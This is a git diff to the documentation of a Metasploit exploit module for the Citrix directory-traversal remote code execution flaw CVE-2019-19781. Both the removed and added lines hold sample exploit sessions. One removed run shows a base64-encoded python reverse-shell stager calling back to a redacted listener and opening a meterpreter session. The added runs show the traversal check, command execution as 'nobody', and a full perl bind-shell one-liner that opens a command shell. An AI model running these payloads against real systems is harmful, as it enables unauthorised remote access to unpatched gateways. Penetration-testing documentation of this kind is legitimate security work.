diff --git a/documentation/modules/exploit/linux/http/citrix_dir_traversal_rce.md b/documentation/modules/exploit/linux/http/citrix_dir_traversal_rce.md
index 780a88bcf9..cd34c875f3 100644
--- a/documentation/modules/exploit/linux/http/citrix_dir_traversal_rce.md
+++ b/documentation/modules/exploit/linux/http/citrix_dir_traversal_rce.md
@@ -9,25 +9,39 @@ This `/vpns/` directory is interesting because it contains Perl code. The script
A malicious attacker can execute arbitrary commands remotely by creating a corrupted xml file who use `Perl Template Toolkit` in part of payload.
```
-msf5 exploit(linux/http/citrix_dir_traversal_rce) > set rhosts [IP]
-rhosts => XXX.XXX.XXX.XXX
-msf5 exploit(linux/http/citrix_dir_traversal_rce) > set lhost [IP]
-lhost => XXX.XXX.XXX.XXX
-msf5 exploit(linux/http/citrix_dir_traversal_rce) > set verbose true
-verbose => true
msf5 exploit(linux/http/citrix_dir_traversal_rce) > run
-[*] Started reverse TCP handler on XXX.XXX.XXX.XXX:4444
-[+] The target appears to be vulnerable.
-[*] Sending python/meterpreter/reverse_tcp command payload
-[*] Generated command payload: import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJ1hYWC5YWFguWFhYLlhYWCcsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
-[*] Bookmark Added.
-[*] Sending stage (53755 bytes) to XXX.XXX.XXX.XXX
-[*] Meterpreter session 1 opened (XXX.XXX.XXX.XXX:4444 -> XXX.XXX.XXX.XXX:42881) at 2020-01-13 12:02:41 +0400
-[+] Deleted /var/tmp/netscaler/portal/templates/hBgGdPlkypbfZMvq.xml.ttc2
-[+] Deleted /netscaler/portal/templates/hBgGdPlkypbfZMvq.xml
+[*] Using auxiliary/scanner/http/citrix_dir_traversal as check
+[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
+[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
+[*] Scanned 1 of 1 hosts (100% complete)
+[+] The target appears to be vulnerable
+[*] Yeeting cmd/unix/generic payload at 127.0.0.1:8080
+[*] Generated payload: id
+uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
-meterpreter >
+[!] This exploit may require manual cleanup of '/netscaler/portal/templates/mdjLHiHtIYmh.xml' on the target
+[!] This exploit may require manual cleanup of '/var/tmp/netscaler/portal/templates/mdjLHiHtIYmh.xml.ttc2' on the target
+[*] Exploit completed, but no session was created.
+msf5 exploit(linux/http/citrix_dir_traversal_rce) > set payload cmd/unix/bind_perl
+payload => cmd/unix/bind_perl
+msf5 exploit(linux/http/citrix_dir_traversal_rce) > run
+
+[*] Using auxiliary/scanner/http/citrix_dir_traversal as check
+[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
+[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
+[*] Scanned 1 of 1 hosts (100% complete)
+[+] The target appears to be vulnerable
+[*] Yeeting cmd/unix/bind_perl payload at 127.0.0.1:8080
+[*] Generated payload: perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,4444,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'
+[!] No response to GET KdlZHSNjZQzdSCKAusgAnnbPvTMLhXRxiEydEotJP.xml request
+[*] Started bind TCP handler against 127.0.0.1:4444
+[*] Command shell session 1 opened (127.0.0.1:51106 -> 127.0.0.1:4444) at 2020-01-13 20:50:45 -0600
+[+] Deleted /netscaler/portal/templates/KdlZHSNjZQzdSCKAusgAnnbPvTMLhXRxiEydEotJP.xml
+[+] Deleted /var/tmp/netscaler/portal/templates/KdlZHSNjZQzdSCKAusgAnnbPvTMLhXRxiEydEotJP.xml.ttc2
+
+id
+uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
```
## Verification Steps
@@ -43,11 +57,10 @@ meterpreter >
## Targets
```
- Id Name
- -- ----
- 0 Python (meterpreter)
- 1 Unix (remote shell)
- 2 Unix (command-line)
+Id Name
+-- ----
+0 Python
+1 Unix Command
```
## Advanced options
@@ -58,6 +71,6 @@ Override check result.
## References
- 1.
- 2.
- 3.
+1.
+2.
+3.